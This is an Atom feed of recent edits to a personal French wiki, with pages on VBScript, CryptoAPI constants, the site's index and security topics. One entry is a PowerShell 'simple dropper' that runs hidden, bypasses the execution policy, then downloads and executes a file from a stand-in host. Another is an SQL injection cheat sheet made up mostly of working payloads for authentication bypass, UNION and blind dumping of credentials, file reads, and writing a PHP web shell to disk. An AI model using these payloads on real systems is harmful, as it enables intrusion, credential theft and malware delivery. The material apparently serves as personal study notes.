   Set objFile = objFSO.CreateTextFile(outFile,True)&lt;br /&gt;
   objFile.WriteLine variable&lt;br /&gt;
&lt;br /&gt;
If you can&#039;t see all the variable value with the watch point, you can open immediate window View--&amp;gt; Intermediate Window or CTRL-G and type&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
debug.print VARIABLE_NAME&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=1.3_Afficher_du_texte&amp;diff=2575</id>
		<title>1.3 Afficher du texte</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=1.3_Afficher_du_texte&amp;diff=2575"/>
		<updated>2017-08-18T11:35:58Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « Dans une messageBox  &amp;lt;code&amp;gt; WScript.Echo(&amp;quot;Hello World&amp;quot;); &amp;lt;/code&amp;gt; »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Dans une messageBox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
WScript.Echo(&amp;quot;Hello World&amp;quot;);&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=JavaScript&amp;diff=2574</id>
		<title>JavaScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=JavaScript&amp;diff=2574"/>
		<updated>2017-08-18T11:35:28Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[1.1 Executer du JS depuis run32dll]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[1.2 Executer un DLL depuis du JS ]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[1.3 Afficher du texte ]] &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=CryptoAPI&amp;diff=2573</id>
		<title>CryptoAPI</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=CryptoAPI&amp;diff=2573"/>
		<updated>2017-05-23T11:38:21Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;CryptAcquireContext &lt;br /&gt;
&lt;br /&gt;
dwProvType hex value:&lt;br /&gt;
&lt;br /&gt;
    PROV_RSA_FULL       0X1&lt;br /&gt;
    PROV_RSA_AES        0x18&lt;br /&gt;
    PROV_RSA_SIG        0x2&lt;br /&gt;
    PROV_RSA_SCHANNEL   0xC&lt;br /&gt;
    PROV_DSS            0x3&lt;br /&gt;
    PROV_DSS_DH         0xD&lt;br /&gt;
    PROV_DH_SCHANNEL    0x12&lt;br /&gt;
    PROV_FORTEZZA       0x4&lt;br /&gt;
    PROV_MS_EXCHANGE    0x5&lt;br /&gt;
    PROV_SSL            0x6&lt;br /&gt;
&lt;br /&gt;
dwFlags&lt;br /&gt;
    CRYPT_VERIFYCONTEXT                0xF0000000&lt;br /&gt;
    CRYPT_NEWKEYSET                    0x8&lt;br /&gt;
    CRYPT_MACHINE_KEYSET               0x20&lt;br /&gt;
    CRYPT_DELETEKEYSET                 0x10&lt;br /&gt;
    CRYPT_SILENT                       0X40&lt;br /&gt;
    CRYPT_DEFAULT_CONTAINER_OPTIONAL   0X80&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CryptGenKey&lt;br /&gt;
&lt;br /&gt;
ALG_ID values:&lt;br /&gt;
&lt;br /&gt;
    CALG_3DES 0x00006603&lt;br /&gt;
    CALG_3DES_112 0x00006609&lt;br /&gt;
    CALG_AES 0x00006611&lt;br /&gt;
    CALG_AES_128 0x0000660e&lt;br /&gt;
    CALG_AES_192 0x0000660f&lt;br /&gt;
    CALG_AES_256 0x00006610&lt;br /&gt;
    CALG_AGREEDKEY_ANY 0x0000aa03&lt;br /&gt;
    CALG_CYLINK_MEK 0x0000660c&lt;br /&gt;
    CALG_DES 0x00006601&lt;br /&gt;
    CALG_DESX 0x00006604&lt;br /&gt;
    CALG_DH_EPHEM 0x0000aa02&lt;br /&gt;
    CALG_DH_SF 0x0000aa01&lt;br /&gt;
    CALG_DSS_SIGN 0x00002200&lt;br /&gt;
    CALG_ECDH 0x0000aa05&lt;br /&gt;
    CALG_ECDH_EPHEM 0x0000ae06&lt;br /&gt;
    CALG_ECDSA 0x00002203&lt;br /&gt;
    CALG_ECMQV 0x0000a001&lt;br /&gt;
    CALG_HASH_REPLACE_OWF 0x0000800b&lt;br /&gt;
    CALG_HUGHES_MD5 0x0000a003&lt;br /&gt;
    CALG_HMAC 0x00008009&lt;br /&gt;
    CALG_KEA_KEYX 0x0000aa04&lt;br /&gt;
    CALG_MAC 0x00008005&lt;br /&gt;
    CALG_MD2 0x00008001&lt;br /&gt;
    CALG_MD4 0x00008002&lt;br /&gt;
    CALG_MD5 0x00008003&lt;br /&gt;
    CALG_NO_SIGN 0x00002000&lt;br /&gt;
    CALG_OID_INFO_CNG_ONLY 0xffffffff&lt;br /&gt;
    CALG_OID_INFO_PARAMETERS 0xfffffffe&lt;br /&gt;
    CALG_PCT1_MASTER 0x00004c04&lt;br /&gt;
    CALG_RC2 0x00006602&lt;br /&gt;
    CALG_RC4 0x00006801&lt;br /&gt;
    CALG_RC5 0x0000660d&lt;br /&gt;
    CALG_RSA_KEYX 0x0000a400&lt;br /&gt;
    CALG_RSA_SIGN 0x00002400&lt;br /&gt;
    CALG_SCHANNEL_ENC_KEY 0x00004c07&lt;br /&gt;
    CALG_SCHANNEL_MAC_KEY 0x00004c03&lt;br /&gt;
    CALG_SCHANNEL_MASTER_HASH 0x00004c02&lt;br /&gt;
    CALG_SEAL 0x00006802&lt;br /&gt;
    CALG_SHA 0x00008004&lt;br /&gt;
    CALG_SHA1 0x00008004&lt;br /&gt;
    CALG_SHA_256 0x0000800c&lt;br /&gt;
    CALG_SHA_384 0x0000800d&lt;br /&gt;
    CALG_SHA_512 0x0000800e&lt;br /&gt;
    CALG_SKIPJACK 0x0000660a&lt;br /&gt;
    CALG_SSL2_MASTER 0x00004c05&lt;br /&gt;
    CALG_SSL3_MASTER 0x00004c01&lt;br /&gt;
    CALG_SSL3_SHAMD5 0x00008008&lt;br /&gt;
    CALG_TEK 0x0000660b&lt;br /&gt;
    CALG_TLS1_MASTER 0x00004c06&lt;br /&gt;
    CALG_TLS1PRF 0x0000800a&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=CryptoAPI&amp;diff=2572</id>
		<title>CryptoAPI</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=CryptoAPI&amp;diff=2572"/>
		<updated>2017-05-23T11:22:47Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;CryptAcquireContext dwProvType hex value:&lt;br /&gt;
&lt;br /&gt;
    PROV_RSA_FULL       0X1&lt;br /&gt;
    PROV_RSA_AES        0x18&lt;br /&gt;
    PROV_RSA_SIG        0x2&lt;br /&gt;
    PROV_RSA_SCHANNEL   0xC&lt;br /&gt;
    PROV_DSS            0x3&lt;br /&gt;
    PROV_DSS_DH         0xD&lt;br /&gt;
    PROV_DH_SCHANNEL    0x12&lt;br /&gt;
    PROV_FORTEZZA       0x4&lt;br /&gt;
    PROV_MS_EXCHANGE    0x5&lt;br /&gt;
    PROV_SSL            0x6&lt;br /&gt;
&lt;br /&gt;
dwFlags&lt;br /&gt;
    CRYPT_VERIFYCONTEXT                0xF0000000&lt;br /&gt;
    CRYPT_NEWKEYSET                    0x8&lt;br /&gt;
    CRYPT_MACHINE_KEYSET               0x20&lt;br /&gt;
    CRYPT_DELETEKEYSET                 0x10&lt;br /&gt;
    CRYPT_SILENT                       0X40&lt;br /&gt;
    CRYPT_DEFAULT_CONTAINER_OPTIONAL   0X80&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=CryptoAPI&amp;diff=2571</id>
		<title>CryptoAPI</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=CryptoAPI&amp;diff=2571"/>
		<updated>2017-05-23T10:11:56Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;CryptAcquireContext dwProvType hex value:&lt;br /&gt;
&lt;br /&gt;
    PROV_RSA_FULL&lt;br /&gt;
    PROV_RSA_AES        0x18&lt;br /&gt;
    PROV_RSA_SIG&lt;br /&gt;
    PROV_RSA_SCHANNEL&lt;br /&gt;
    PROV_DSS&lt;br /&gt;
    PROV_DSS_DH&lt;br /&gt;
    PROV_DH_SCHANNEL&lt;br /&gt;
    PROV_FORTEZZA&lt;br /&gt;
    PROV_MS_EXCHANGE&lt;br /&gt;
    PROV_SSL&lt;br /&gt;
&lt;br /&gt;
dwFlags&lt;br /&gt;
    CRYPT_VERIFYCONTEXT 0x0FFFFFFF0&lt;br /&gt;
    CRYPT_NEWKEYSET&lt;br /&gt;
    CRYPT_MACHINE_KEYSET&lt;br /&gt;
    CRYPT_DELETEKEYSET&lt;br /&gt;
    CRYPT_SILENT&lt;br /&gt;
    CRYPT_DEFAULT_CONTAINER_OPTIONAL&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=CryptoAPI&amp;diff=2570</id>
		<title>CryptoAPI</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=CryptoAPI&amp;diff=2570"/>
		<updated>2017-05-23T10:07:44Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « CryptAcquireContext dwProvType hex value:      PROV_RSA_FULL     PROV_RSA_AES 0x18     PROV_RSA_SIG     PROV_RSA_SCHANNEL     PROV_DSS     PROV_DSS_DH     PROV_DH_SCHANNEL... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;CryptAcquireContext dwProvType hex value:&lt;br /&gt;
&lt;br /&gt;
    PROV_RSA_FULL&lt;br /&gt;
    PROV_RSA_AES 0x18&lt;br /&gt;
    PROV_RSA_SIG&lt;br /&gt;
    PROV_RSA_SCHANNEL&lt;br /&gt;
    PROV_DSS&lt;br /&gt;
    PROV_DSS_DH&lt;br /&gt;
    PROV_DH_SCHANNEL&lt;br /&gt;
    PROV_FORTEZZA&lt;br /&gt;
    PROV_MS_EXCHANGE&lt;br /&gt;
    PROV_SSL&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Windows_10&amp;diff=2569</id>
		<title>Windows 10</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Windows_10&amp;diff=2569"/>
		<updated>2017-05-23T10:06:29Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « CryptoAPI »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[CryptoAPI]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2568</id>
		<title>VBScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2568"/>
		<updated>2017-05-18T14:05:05Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   Wscript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write in a text file&lt;br /&gt;
   Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
   outFile=&amp;quot;C:\Users\User\Desktop\Results.txt&amp;quot;&lt;br /&gt;
   Set objFile = objFSO.CreateTextFile(outFile,True)&lt;br /&gt;
   objFile.WriteLine variable&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2567</id>
		<title>VBScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2567"/>
		<updated>2017-05-18T14:04:55Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « Print text    wscript.echo(&amp;quot;text&amp;quot;)  Write in a text file    Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)    outFile=&amp;quot;C:\Users\User\Desktop\Results.txt&amp;quot;    Set obj... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   wscript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write in a text file&lt;br /&gt;
   Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
   outFile=&amp;quot;C:\Users\User\Desktop\Results.txt&amp;quot;&lt;br /&gt;
   Set objFile = objFSO.CreateTextFile(outFile,True)&lt;br /&gt;
   objFile.WriteLine variable&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Accueil&amp;diff=2566</id>
		<title>Accueil</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Accueil&amp;diff=2566"/>
		<updated>2017-05-18T14:02:41Z</updated>

		<summary type="html">&lt;p&gt;Futex : /* Programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Unix ==&lt;br /&gt;
:[[AIX]] - [[Solaris]] - [[Linux]] - [[HP-UX]] - [[Android]] - [[MacOS/iOS]] - [[Unix bases]]&lt;br /&gt;
&lt;br /&gt;
== Windows ==&lt;br /&gt;
:[[Windows XP]] - [[Windows Vista]] - [[ Windows Seven]] - [[ Windows 10 ]]&lt;br /&gt;
&lt;br /&gt;
== Programmation ==&lt;br /&gt;
:[[C]] - [[C++]] - [[C Sharp]] - [[Java]] - [[Shell]] - [[Perl]] - [[Python]] - [[Ruby]] - [[PowerShell]] - [[PHP]] - [[HTML]] - [[JavaScript]] - [[SQL]] - [[Assembleur]] - [[GCC]] - [[VBScript]]&lt;br /&gt;
&lt;br /&gt;
== Stockage ==&lt;br /&gt;
:[[Switchs SAN]] - [[Baies DS8000]] - [[Baies EMC]] - [[SVC]] - [[NetApp]]&lt;br /&gt;
&lt;br /&gt;
==Software==&lt;br /&gt;
:[[Apache]] [[MySQL]] [[SQLite]]&lt;br /&gt;
&lt;br /&gt;
== Sécurité ==&lt;br /&gt;
:[[Web]] - [[BOF]] - [[Reverse]] - [[Botnets]] - [[Network]] - [[Fingerprint]] - [[Crack Pass]] - [[SSH]] - [[Nmap]] - [[ Scapy]] - [[Metasploit]] - [[Nessus]] - [[Outils divers]] - [[Sécu-Tips]]&lt;br /&gt;
&lt;br /&gt;
== Divers ==&lt;br /&gt;
:[[Mémo VI]] - [[Mémo MediaWiki]] - [[Mémo Firefox]] - [[Mémo Chrome/Chromium]] - [[Beer]]&lt;br /&gt;
&lt;br /&gt;
== Liens externes ==&lt;br /&gt;
&lt;br /&gt;
:[[Hacking et sécurité]] - [[Développement]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Accueil&amp;diff=2565</id>
		<title>Accueil</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Accueil&amp;diff=2565"/>
		<updated>2017-05-18T14:02:31Z</updated>

		<summary type="html">&lt;p&gt;Futex : /* Programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Unix ==&lt;br /&gt;
:[[AIX]] - [[Solaris]] - [[Linux]] - [[HP-UX]] - [[Android]] - [[MacOS/iOS]] - [[Unix bases]]&lt;br /&gt;
&lt;br /&gt;
== Windows ==&lt;br /&gt;
:[[Windows XP]] - [[Windows Vista]] - [[ Windows Seven]] - [[ Windows 10 ]]&lt;br /&gt;
&lt;br /&gt;
== Programmation ==&lt;br /&gt;
:[[C]] - [[C++]] - [[C Sharp]] - [[Java]] - [[Shell]] - [[Perl]] - [[Python]] - [[Ruby]] - [[PowerShell]] - [[PHP]] - [[HTML]] - [[JavaScript]] - [[SQL]] - [[Assembleur]] - [[GCC]] - [[VBscript]]&lt;br /&gt;
&lt;br /&gt;
== Stockage ==&lt;br /&gt;
:[[Switchs SAN]] - [[Baies DS8000]] - [[Baies EMC]] - [[SVC]] - [[NetApp]]&lt;br /&gt;
&lt;br /&gt;
==Software==&lt;br /&gt;
:[[Apache]] [[MySQL]] [[SQLite]]&lt;br /&gt;
&lt;br /&gt;
== Sécurité ==&lt;br /&gt;
:[[Web]] - [[BOF]] - [[Reverse]] - [[Botnets]] - [[Network]] - [[Fingerprint]] - [[Crack Pass]] - [[SSH]] - [[Nmap]] - [[ Scapy]] - [[Metasploit]] - [[Nessus]] - [[Outils divers]] - [[Sécu-Tips]]&lt;br /&gt;
&lt;br /&gt;
== Divers ==&lt;br /&gt;
:[[Mémo VI]] - [[Mémo MediaWiki]] - [[Mémo Firefox]] - [[Mémo Chrome/Chromium]] - [[Beer]]&lt;br /&gt;
&lt;br /&gt;
== Liens externes ==&lt;br /&gt;
&lt;br /&gt;
:[[Hacking et sécurité]] - [[Développement]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=PowerShell&amp;diff=2564</id>
		<title>PowerShell</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=PowerShell&amp;diff=2564"/>
		<updated>2016-12-07T15:50:23Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « Simple dropper    ﻿powershell.exe&amp;quot; -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(&amp;#039;https://toto.com/image.png&amp;#039;,&amp;#039;C:\Users\admin\AppData\Local\Te... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Simple dropper&lt;br /&gt;
&lt;br /&gt;
  ﻿powershell.exe&amp;quot; -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(&#039;https://toto.com/image.png&#039;,&#039;C:\Users\admin\AppData\Local\Temp\image.png&#039;); Start-Process(&#039;C:\Users\admin\AppData\Local\Temp\image.png&#039;)&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Accueil&amp;diff=2563</id>
		<title>Accueil</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Accueil&amp;diff=2563"/>
		<updated>2016-12-07T15:49:14Z</updated>

		<summary type="html">&lt;p&gt;Futex : /* Programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Unix ==&lt;br /&gt;
:[[AIX]] - [[Solaris]] - [[Linux]] - [[HP-UX]] - [[Android]] - [[MacOS/iOS]] - [[Unix bases]]&lt;br /&gt;
&lt;br /&gt;
== Windows ==&lt;br /&gt;
:[[Windows XP]] - [[Windows Vista]] - [[ Windows Seven]] - [[ Windows 10 ]]&lt;br /&gt;
&lt;br /&gt;
== Programmation ==&lt;br /&gt;
:[[C]] - [[C++]] - [[C Sharp]] - [[Java]] - [[Shell]] - [[Perl]] - [[Python]] - [[Ruby]] - [[PowerShell]] - [[PHP]] - [[HTML]] - [[JavaScript]] - [[SQL]] - [[Assembleur]] - [[GCC]]&lt;br /&gt;
&lt;br /&gt;
== Stockage ==&lt;br /&gt;
:[[Switchs SAN]] - [[Baies DS8000]] - [[Baies EMC]] - [[SVC]] - [[NetApp]]&lt;br /&gt;
&lt;br /&gt;
==Software==&lt;br /&gt;
:[[Apache]] [[MySQL]] [[SQLite]]&lt;br /&gt;
&lt;br /&gt;
== Sécurité ==&lt;br /&gt;
:[[Web]] - [[BOF]] - [[Reverse]] - [[Botnets]] - [[Network]] - [[Fingerprint]] - [[Crack Pass]] - [[SSH]] - [[Nmap]] - [[ Scapy]] - [[Metasploit]] - [[Nessus]] - [[Outils divers]] - [[Sécu-Tips]]&lt;br /&gt;
&lt;br /&gt;
== Divers ==&lt;br /&gt;
:[[Mémo VI]] - [[Mémo MediaWiki]] - [[Mémo Firefox]] - [[Mémo Chrome/Chromium]] - [[Beer]]&lt;br /&gt;
&lt;br /&gt;
== Liens externes ==&lt;br /&gt;
&lt;br /&gt;
:[[Hacking et sécurité]] - [[Développement]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=1.1_Injection_SQL&amp;diff=2562</id>
		<title>1.1 Injection SQL</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=1.1_Injection_SQL&amp;diff=2562"/>
		<updated>2016-09-27T20:49:50Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Injecter&lt;br /&gt;
  OR &#039;a&#039;=&#039;a ou &#039;1 or &#039;1&#039;=&#039;1&lt;br /&gt;
&lt;br /&gt;
  Smitch&#039; OR &#039;1&#039;=&#039;1 &lt;br /&gt;
  Smitch&#039; OR 1=1 OR &#039;a&#039;=&#039;a&lt;br /&gt;
&lt;br /&gt;
Pour que la requète SQL devienne&lt;br /&gt;
  SELECT login FROM users WHERE login=&#039;Smitch&#039; OR &#039;a&#039;=&#039;a&#039; AND password=&#039;test123&#039;OR &#039;a&#039;=&#039;a&#039;&lt;br /&gt;
  SELECT * FROM notice WHERE id=&#039;0&#039; UNION SELECT NULL,NULL,NULL,User()&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ou &#039;OR 1=1# en mot de passe, tous ce qui est derrière le # est ignoré.&lt;br /&gt;
&lt;br /&gt;
Avec un commentaire:&lt;br /&gt;
  http://toto.com/ident.php?login=&#039;/*&amp;amp;pass=*/or+&#039;1&#039;=&#039;1&lt;br /&gt;
&lt;br /&gt;
Recherche du nombre de champ dans la requête&lt;br /&gt;
  http://toto.com/ident.php?login=&#039;ORDER BY 3/*&amp;amp;pass=toto  ou&lt;br /&gt;
  http://toto.com/test.php?id=1&#039; UNION SELECT 1,2,3,&#039;4&lt;br /&gt;
Si la requête tombe en erreur c&#039;est que l&#039;on a dépassé le nombre de champ&lt;br /&gt;
&lt;br /&gt;
Recherche de l&#039;ID&lt;br /&gt;
  http://toto.com/ident.php?login=&#039; AND 1=2 UNION SELECT 1,2,3/*&amp;amp;pass=toto&lt;br /&gt;
&lt;br /&gt;
Affichage de la version de Mysql&lt;br /&gt;
  http://toto.com/ident.php?login=&#039; AND 1=2 UNION SELECT @@version,2,3/*&amp;amp;pass=toto&lt;br /&gt;
  http://toto.com/test.php?id=0&#039; UNION SELECT @@version,1,&#039;2 &lt;br /&gt;
&lt;br /&gt;
Recherche des bases&lt;br /&gt;
    http://toto.com/ident.php?login=&#039; AND 1=2 UNION SELECT (SELECT GROUP_CONCAT(schema_name)FROM information_schema.schemata)2,3/*pass=toto&lt;br /&gt;
    http://toto.com/Fonctions/test.php?id=0&#039; UNION SELECT NULL, NULL, NULL, SCHEMA_NAME AS `Database` FROM INFORMATION_SCHEMA.SCHEMATA WHERE &#039;1&lt;br /&gt;
    &lt;br /&gt;
&lt;br /&gt;
Lister les tables&lt;br /&gt;
  -1 UNION SELECT null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--&lt;br /&gt;
  -1 UNION SELECT (SELECT GROUP_CONCAT(table_name)FROM information_schema.tables WHERE table_schema=database()),null&lt;br /&gt;
  &lt;br /&gt;
  http://toto.com/ident.php?login=&#039; AND 1=2 UNION SELECT (SELECT GROUP_CONCAT(table_name)FROM information_schema.tables WHERE table_schema LIKE &#039;vuln_php&#039;),2,3/*&amp;amp;pass=toto&lt;br /&gt;
  http://toto.com/Fonctions/test.php?id=0&#039; UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() OR &#039;1&lt;br /&gt;
  http://toto.com/Fonctions/test.php?id=0hulk’ union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()#&lt;br /&gt;
&lt;br /&gt;
Afficher les champs&lt;br /&gt;
  http://toto.com/ident.php?login=&#039; AND 1=2 UNION SELECT (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema LIKE &#039;vuln_php&#039; AND table_name LIKE &#039;writers&#039;),2,3/*&amp;amp;pass=toto&lt;br /&gt;
  http://toto.com/Fonctions/test.php?id=0&#039; UNION SELECT NULL ,NULL, NULL, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=&#039;Users&lt;br /&gt;
  http://toto.com/Fonctions/test.php?id=hulk’ union select 1,group_concat(column_name, 0x0a),3,4,5,6,7 from information_schema.columns where table_name=”users”#&lt;br /&gt;
&lt;br /&gt;
Afficher les valeurs&lt;br /&gt;
  http://toto.com/ident.php?login=&#039; AND 1=2 UNION SELECT (SELECT GROUP_CONCAT(password)FROM writers)2,3/*&amp;amp;pass=toto&lt;br /&gt;
  http://toto.com/ident.php?login=hulk’ union select 1,login,password,email,secret,6,7 from users#&lt;br /&gt;
&lt;br /&gt;
Sauvegarder dans un fichier INTO OUTFILE et INTO DUMPFILE (et lancer du code PHP en même temps)&lt;br /&gt;
&lt;br /&gt;
  SELECT &#039;&amp;lt;? system($cmd); ?&amp;gt;&#039; FROM existant_table INTO DUMPFILE &#039;/path/to/website/backdoor.php&#039;&lt;br /&gt;
  SELECT * FROM notice WHERE id=&#039;0&#039; UNION SELECT null, &#039;&amp;lt;?php system(\$_GET[cmd]) ?&amp;gt;&#039; INTO OUTFILE &#039;/tmp/toto.php&#039; &lt;br /&gt;
&lt;br /&gt;
Lire un fichier&lt;br /&gt;
&lt;br /&gt;
  SELECT LOAD_FILE(&#039;/complete/path/file2.txt&#039;)&lt;br /&gt;
&lt;br /&gt;
Lire et copier un fichier&lt;br /&gt;
&lt;br /&gt;
  SELECT LOAD_FILE(&#039;/complete/path/config.php&#039;) FROM existant_table INTO OUTFILE &#039;/complete/path/config.txt&#039;&lt;br /&gt;
&lt;br /&gt;
UNION&lt;br /&gt;
  http://toto.com/test.php?id=0&#039; UNION SELECT id,Login,PASSWORD FROM Users WHERE &#039;1 donne la requête&lt;br /&gt;
  SELECT * FROM notice WHERE id=&#039;0&#039; UNION SELECT id,Login,PASSWORD FROM Users WHERE &#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
Lors d&#039;un UNION si les deux champs union ne sont pas du même type integer &amp;lt;- string les convertir grâce a: SELECT CONV(mpass,36,10)&lt;br /&gt;
  SELECT mid FROM membres WHERE mid=4 UNION SELECT CONV(mpass,36,10) FROM membres WHERE mid=5&lt;br /&gt;
&lt;br /&gt;
On peut concaténer 2 champs avec la fonction CONCAT(mlogin,char(58),char(58),memail)&lt;br /&gt;
  SELECT * FROM admin WHERE alogin=&#039;webmaster&#039; UNION SELECT mid,CONCAT(mlogin,char(58),char(58),memail),mpass,mnewsletter FROM membres WHERE mlogin=&#039;Franck&#039;&lt;br /&gt;
&lt;br /&gt;
Faire en sorte que la première requête ne renvoi rien (mid=-1 ou  mid=5 OR 1=0 UNION SELECT apass FROM admin WHERE aid=1)&lt;br /&gt;
  SELECT mlogin FROM membres WHERE mid=-1 UNION SELECT apass FROM admin WHERE aid=1&lt;br /&gt;
  SELECT mlogin FROM membres WHERE mid=-1 UNION SELECT apass FROM admin WHERE aid=1 INTO OUTFILE &#039;/path/apass.txt&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Recherche en aveugle&lt;br /&gt;
&lt;br /&gt;
Utiliser la fonction IF de mysql et la dichotomie&lt;br /&gt;
  IF(10, 0, 666) (Si c&#039;est on renvoit 666, sinon 0)&lt;br /&gt;
&lt;br /&gt;
ex:&lt;br /&gt;
   http://toto.com/ident.php?login=&#039; AND IF((SELECT COUNT(*) FROM information_schema.SCHEMATA)&amp;gt;100,0(SELECT table_name FROM information_schema.TABLES))/*&amp;amp;pass=ds&lt;br /&gt;
&lt;br /&gt;
== Blind MySQL injection ==&lt;br /&gt;
&lt;br /&gt;
Recherche de mot de passe caractère par caractère&lt;br /&gt;
  profile.php?user_id=1 AND substr(password,0,1)= 0×66&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Injection sous SQLite ==&lt;br /&gt;
&lt;br /&gt;
Afficher la version de SQLite&lt;br /&gt;
  &#039;UNION SELECT sqlite_version(),2&lt;br /&gt;
Trouver les noms des bases de données&lt;br /&gt;
  &#039;UNION SELECT name,2 FROM sqlite_master WHERE type = &amp;quot;table&amp;quot;--&lt;br /&gt;
Renvoit: news,users&lt;br /&gt;
&lt;br /&gt;
Trouver le nom des champs:&lt;br /&gt;
  &#039;UNION SELECT sql,2 FROM sqlite_master WHERE tbl_name = &#039;users&#039; AND type = &#039;table&#039;--&lt;br /&gt;
&lt;br /&gt;
Renvoit: CREATE TABLE users(username TEXT, password TEXT, Year INTEGER) (2)&lt;br /&gt;
&lt;br /&gt;
Afficher les champs :&lt;br /&gt;
  &#039;UNION SELECT username,password FROM users--&lt;br /&gt;
&lt;br /&gt;
== Blind SQLite injection ==&lt;br /&gt;
Recherche du premier caractère du login&lt;br /&gt;
  &#039;UNION SELECT username,password FROM users WHERE substr(username,0,1)= &#039;a&#039;--&lt;br /&gt;
